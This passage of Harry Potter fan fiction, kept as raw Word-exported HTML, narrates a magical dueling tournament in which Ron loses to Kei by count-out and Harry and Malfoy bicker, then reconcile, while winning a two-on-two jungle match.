class="MsoNormal">Kei held out his wand,\nyelling out a spell that Ron didn&#8217;t quite hear. Instead of a hex coming out of\nthe wand, however, a long whip emerged. The red head had little time to roll on\nthe ground to avoid a crack of the whip. Ron did, however, think fast enough to\nthrow out his legs and use his height to his advantage and trip Kei. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Blitz team\nrepresentative, however, was quick enough to pull off a hand spring and gain\ndistance again. With another lash of the whip, Ron held out his wand and\nchanged it into a sword with one magical word. The whip was sliced neatly in\nhalf and Ron charged forward, only to have an invisible wall erected in front\nof him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron hit the wall full force,\nbut regained his composure fast enough to side step a disarming charm from his\nopponent. Giving a quick spin, Ron lashed out his foot in a wide round house.\nKei took the hit to his ribs and flew a good foot before rolling a few times.\nHe, however, seemed to spin onto his feet and thrust out his wand, sending a\nsmall fireball at Ron, catching him full in the chest and forcing him to slide\nback several yards before stopping.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two boys gasped for air\nwhile staring at each other. Ron had his free hand on his chest, covering the burn\nmark while Kei was clutching his ribs and leaning a bit to the side. After the\nfive second breather, the boys ran at each other yet again and exchanged\nspells. Kei was first with his spell, shouting out a &#8220;Baksai tenketsu!&#8221; and\nmaking the ground in front of Ron explode. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Marauder covered his eyes\nwith his arms and charged through the explosion, surprising Kei enough to get\nin a good energy blast spell that sent him reeling. In mid air, Kei righted\nhimself and formed a ball of magical energy in his hand and slung it at Ron,\nmaking him dive out of the way. Upon landing, another ball was released and\nclipped the red head on his leg, making him fall over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Kei used a magical boost to\nmake himself jump several feet into the air. At his\npeak, he transformed his wand into a whip\nagain and began his descent to Ron, who was just standing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;UP!&#8221; Harry screamed from the\nsidelines, successfully getting Ron to look into the air.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh sod it all&#8230;&#8221; Ron said\nlightly as Kei&#8217;s whip lashed out against him. Gritting his teeth, Ron held out\nhis arm and let the whip hit him and wrap around it. When the immediate pain\nwas over, Ron grasped the whip and yanked it hard. Kei, not wanting to lose his\nwand, gripped his whip tightly; getting pulled as well. With a loud yell, Ron\ntook his wand and aimed it right at Kei&#8217; stomach. &#8220;EXPELLIARMUS!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Kei gasped as the blast hit\nhim, but quickly twisted his wand, making the whip encircle his wrist. The\nforce from the blast sent him flying backwards and he felt his wrist pop with\nthe strain. His plan, however, worked like a charm. Ron, still having the whip\nwrapped around his forearm, was pulled after him. Kei grabbed the whip with his\nfree hand as they flew through the air and magicked it shorter. Next he twisted\nhis body around so he was on top of Ron and kicked off. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron, under the new force of\nthe kick, hit the arena floor and skidded a few times before rolling to a stop,\narm hanging off the side of the stone floor. Kei also landed roughly and slid\nacross the floor himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Double down!&#8221; Lupin said\nfrom the top box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Counting now!&#8221; Lee added,\nstarting to count while moving his hand in a counting motion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What the <i style="mso-bidi-font-style:normal">hell</i> is that <i style="mso-bidi-font-style:\nnormal">idiot</i> teaching them in that class!?&#8221; Snape asked himself after\nseeing the melee moves.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&#8220;One! Two! Three!-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get up Ron!&#8221; Hermione\ncoached from the side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can do it mate!&#8221; Harry\nadded in loudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;SIX! SEVEN!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;EIGHT!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Kei is up!&#8221; Lupin shouted,\ngetting their attention. The Blitzer ran toward Ron then.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uggghh&#8230;.&#8221; Ron slowly got to\nhis knees and looked to the side where Kei was charging. &#8220;Oh man&#8230;&#8221; He\nwhispered, still winded from the attack. &#8220;No choice.&#8221; When Kei was about to\npush him off, Ron dropped, grabbed Kei&#8217;s shirt, and used the momentum to throw\nhim out of the ring.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ring out!&#8221; Ginny shrieked,\njumping on Harry&#8217;s shoulders and cheering.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Match over!&#8221; Lupin called.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Kei is the winner!&#8221; Lee\ncontinued for him. &#8220;What a close match!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">What</i>!?&#8221; the Marauder team, save Malfoy and Ron, shouted at the same\ntime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Guys, he&#8217;s right.&#8221; Ron said,\nfinally getting his breath back. &#8220;I was counted out before Kei was knocked out\nof the ring.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his mouth to say\nsomething, but stopped. He tried again, and then stopped a second time, finally\nhe settled for kicking up grass on the field. It was true. Ron never <i style="mso-bidi-font-style:normal">did</i> make it to his feet during the\ncount.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey, Ron&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked over at Kei, who\nlooked pretty roughed up. &#8220;Yeah?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good fight man.&#8221; He held out\nhis hand and Ron took it appreciatively. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah. Next time I won&#8217;t go so\neasy on you.&#8221; He grinned</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Looking\nforward to it.&#8221; Kei returned the\nsmirk before starting to limp his way back to his team members and getting\nglomped by a worried Ashley about half way there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good match, pal.&#8221; Harry\ncongratulated, putting an arm around him and helping him over to the stairs,\nwhere he sat down against them. &#8220;I&#8217;m impressed. You was all Jackie Chan on them!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a compliment.&#8221; Hermione\nassured, giving Harry a weird look. &#8220;Ginny, I think his arm is hurt pretty\nbad&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s okay.&#8221; Ron waved\nthem off with his good hand. &#8220;I&#8217;ll be treated after we win this thing.&#8221; He\nnodded at Harry. &#8220;Two more wins and we have it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;One win each and a draw.&#8221;\nMalfoy said aloud to himself. &#8220;Which means the first one to lose cannot win.\nBut to be fair, both matches must be fought. What if the other team loses that\none? It&#8217;ll be a draw game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about a two on two?&#8221; A\nvoice called to them, drawing their attention to the area just above the\nstairs. Jet and Gallows stood there, looking at them with a smile. &#8220;Hell of a\nmatch, Ron!&#8221; Jet congratulated with a smirk. &#8220;I hope Harry and Malfoy can give\nus a good one too!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It sounds fair.&#8221; Harry said\nslowly, looking at the two challengers. &#8220;But I don&#8217;t know&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco and Harry won&#8217;t fight well\ntogether.&#8221; Ginny said a little nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It can&#8217;t be helped.&#8221; Malfoy\nstarted walking forward. &#8220;Come on Potter, it&#8217;s come to this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait, I think we&#8217;ll need\nsomething if we&#8217;re going in on it as partners.&#8221; Harry suddenly said, looking to\nthe castle. &#8220;Accio Marauder&#8217;s Sun Shades!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two on two?&#8221; Lee asked Lupin\nin a whisper. &#8220;Is that okay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Professor Lupin nodded. &#8220;It&#8217;s\nfine, as long as both teams agree on it. &#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A nod. &#8220;Okay then, let&#8217;s do\nit.&#8221; Once again he cast the voice amplification and spoke into his wand like a\nmic. &#8220;It&#8217;s been decided as a two on two match up! The Blitz team&#8217;s Jet and\nGallows vs. the Marauder&#8217;s Harry and Malfoy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are these?&#8221; Malfoy\nasked, looking at the sunglasses/visor handed to him. &#8220;I don&#8217;t need eye\nprotection.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just put it on.&#8221; Harry said,\ntapping the glasses with his hand and whispering spells. &#8220;They&#8217;ll show us what\nwe need to know. All out side artifacts are allowed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy looked at them and\nshrugged. He took a pair and slid it on. &#8220;Oh wow. No wonder you were always so\ngood at sneaking around! With these, I could have&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just got them.&#8221; Harry\ninterrupted. &#8220;Only used them once and I got caught while doing it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Guys</i>!&#8221; Ginny broke up their conversation. &#8220;The <i style="mso-bidi-font-style:\nnormal">match</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, right.&#8221; Harry turned and\nwalked up the stairs, followed by Malfoy. Their opponents were already at the\nother side of the arena. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Rules for this match!&#8221; Lee\nshouted out like a professional, which he almost was. &#8220;Lose the wand, you lose\nthe match! Lose consciousness, lose the match! Ring out, lose the match!\nContestants READY!? FIGHT!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two teams rushed forward\nand into an instantaneous jungle. The sound from the outside was cut of as soon\nas the jungle was full around them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, they are\nsplitting up.&#8221; Harry said, watching the dots on his map move. &#8220;I bet you\nanything they are going to regroup half way in to try and get us from both\nsides. They plan we&#8217;ll go straight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy nodded. &#8220;Let&#8217;s go\nleft.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think right would be a\nbetter place to start. Jet will be easier to take out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jet&#8217;s faster. Gallows will\nbe a better target.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took a breath. &#8220;It&#8217;s a\ntext book play.&#8221; He said calmly. &#8220;Take out the faster target first and they\ncan&#8217;t give you trouble later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But <i style="mso-bidi-font-style:\nnormal">Gallows </i>will fall easy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look Malfoy, I&#8217;m the leader\nof this team and I say we go after Jet!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not the boss of me.&#8221;\nMalfoy countered. &#8220;I&#8217;ll be on the same team as you but I&#8217;ll be damned before I\ntake <i style="mso-bidi-font-style:normal">orders </i>from <i style="mso-bidi-font-style:\nnormal">anyone</i> anymore!&#8221; He pulled a rather large twig away from his face\nand looked back. &#8220;I think your plan will fail. Mine is a sure shot!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not if we don&#8217;t work\ntogether!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly. Let&#8217;s go left!&#8221;\nWith that, Malfoy ran in that direction, jumping a fallen log and cutting\nthrough a little foliage.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy! Sod it! I&#8217;m going\nright!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We are <i style="mso-bidi-font-style:\nnormal">so</i> dead.&#8221; Ron spat, kicking the dirt at his feet, making a little\ngrass fly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked up at the large\nscreen in the air, now split into four parts, and clasped her hands in front of\nher. &#8220;Draco&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jumped over a small\nbrook on the ground and crouched behind a fallen tree, looking over it slightly\nto see the figure of Jet. His opponent was walking slowly, eyes scanning the\narea intensely. The shades on Harry&#8217;s face kept his figure outlined, flashing a\n&#8216;warning&#8217; message where his compass normally should be. On the right side of\nhis lens he saw Gallows, which meant that Malfoy had also found his prey. The\nonly thing that bugged him was that in the time it took him and Malfoy to argue\nand find their intended opponents, they would have had plenty of time to regroup.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That could only mean one\nthing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jumped straight into\nthe air as a magical blast hit where he was just standing. Jerking around, he\nlanded in a one-armed hand spring and used the momentum to shoot into a tree. With\na quick and well planned wind spell, he was able to climb high enough to gain a\nfew precious seconds to think of what just happened. An image on his lens made\nhim turnaround, however. He was now face to face with Malfoy. &#8220;I <i style="mso-bidi-font-style:normal">told</i> you, you should have listened to\nme!&#8221; He accused, obviously mad. &#8220;We almost bit it back there!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because <i style="mso-bidi-font-style:\nnormal">you</i> didn&#8217;t listen to <i style="mso-bidi-font-style:normal">me</i>!&#8221;\nHarry spat back, poking his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I should have known better\nthan to think we could be friends.&#8221; Malfoy glared at him, old hatred back in\nhis eyes. &#8220;I gave you a shot and you&#8217;re not willing to cooperate!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Malfoy, <i style="mso-bidi-font-style:\nnormal">you</i> are the one being stubborn!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The tree the two were\nstanding on suddenly lurched, making the boys jump to safety. Harry used a wind\nspell to slow his decent while Malfoy grabbed a vine and slid down. When the\ntwo were on solid ground again, each shot a blast of energy towards the origin\nof the attack.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Gallows and Jet took cover\nbehind the same fallen tree Harry had earlier. The two Marauders were forced to\nlay in a small trench with water in it, backs pressed against the moss covered\ndirt. &#8220;This is <i style="mso-bidi-font-style:normal">pathetic.</i>&#8221; Harry\ngroaned, seeing a few energy spells shot over their heads.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, <i style="mso-bidi-font-style:\nnormal">you&#8217;re</i> pathetic. We would have won by now if you listened to me!\nGeeze were you born this stupid or did you have to work for it!?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh that did it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grabbed Malfoy&#8217;s collar\nand moved him so they were face to face. &#8220;Do you want to finish what we started\nlast year!?&#8221; He yelled at him furiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re still pissed because\nSlytherin won the house cup last year, aren&#8217;t you?&#8221; Malfoy accused, glaring.\n&#8220;Slytherin is better anyway!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gryffindor!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Slytherin!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gryffindor!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&#8220;Slytherin!&#8221;</b><b style="mso-bidi-font-weight:\nnormal"></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&#8220;Gryffindor!&#8221;</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two glared at each other\na moment before each giving off their own little smirk. &#8220;Left!&#8221; Harry suddenly\nyelled, moving out of the way as a disrupting blast hit right where they once\nwere. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right!&#8221; Malfoy suddenly\nsaid, once again moving with Harry to avoid the second shot. They then looked\nat each other and let out a war cry together. &#8220;Get&#8217;m!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two boys jumped from the\ntrench and ran at their opponents. A blast shot straight for them, but both\nleapt to the side and rolled in perfect timing. Malfoy jumped into their air,\ngetting a boost from Harry&#8217;s wind spell. With his new height advantage, Malfoy\ntargeted Jet and grinned to himself. &#8220;Show them how it&#8217;s done, Christina! Holy\nFire!&#8221; Blue flame surrounded Malfoy for a moment before channeling to his wand\nand blasting the frozen opponent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t forget about me!&#8221;\nHarry yelled, holding out his hand. &#8220;Cecilia, Wind of the Faye!&#8221; The air around\nHarry ripped out behind him before shooting at Gallows. The pressure knocked\nhim into a flaming Jet and then into a tree. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ha!&#8221; Malfoy snorted with a\ntriumphant grin when he landed. &#8220;Take that!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t forget that they have\nthe title &#8216;sorcerer&#8217;.&#8221; Harry reminded, scanning the field.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instantly Malfoy was serious\nagain. &#8220;You&#8217;re right. They are no longer on my visor. Back to back.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded briefly and\nstood behind Malfoy, each slowly turning and looking around. &#8220;You see them?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not yet. They must be hiding\nbehind something really thick to jam our lock on them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Either that or they realized\nwhat we were doing and put a blocking shield around themselves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Jerks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Heh, you said it. <i style="mso-bidi-font-style:normal">Above</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two leapt to the side as\ntwo more figures landed where they just were. Harry was blasted with a stunning\nspell while Malfoy suffered an energy blast.&nbsp;\nBoth flew backwards a good six feet before falling and skidding to a halt.\nUnconsciously, the seconds ticked off in Harry&#8217;s mind while he struggled to\nstand. His body felt heavy and he knew that he lost his speed until he could\nshake the effects of the spell off of him.&nbsp;\nLooking over, he saw Jet and Gallows nod to each other and prepare\nanother spell to finish them off. Groaning, Harry held out both of his hands,\nforming a shield around him. Jet&#8217;s spell fizzled on his shield, giving Harry\nthe chance he needed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dashing forward, Harry moved\nhis hand to the side and flicked his wrist, sending his wand into his hand.\nJumping, Harry mouthed his spell out and a blade of wind formed at the tip of\nhis wand. Gallows, however, reacted fast enough to draw up his wand and begin\nthe disarming charm. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That&#8217;s when Harry&#8217;s world\nblurred.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Instantly he found himself to\nbe moving so fast, his enemies <i style="mso-bidi-font-style:normal">literally</i>\nlooked like they were standing still. With ease, Harry slashed both of them\nwith his wind sword. His feet touched the ground lightly, but the ground gave\nway under him, leaving two small dents. A blink later, he seemed to be at\nnormal speed again. Turning, he looked at his opponents, pleased to find them\nboth on the ground. His sword was pure concentrated wind. When struck, it would\ncompress the air in their lungs, making them feel as if they were suffocating.\nA quick and effective way of downing an opponent. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sheathed his wand back\ninto his holster on his arm and turned to Malfoy, who looked quite smug. &#8220;Not\nso bad, man.&#8221; He told Harry, offering his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not so bad yourself,\nMalfoy.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;After six years, you think\nyou&#8217;d learn that my name is Draco, you idiot.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And mine&#8217;s Harry.&#8221; He took\nthe offered hand and shook it. &nbsp;They let\ngo quickly and turned to look opposite ways while the trees around them faded\nand dissolved. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Nice hair, Harry.</i>&#8221; A voice whispered to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh?&#8221; Harry reached to finger\ncomb his hair, but gasped when he realized that it went well past his\nshoulders. &#8220;What the&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 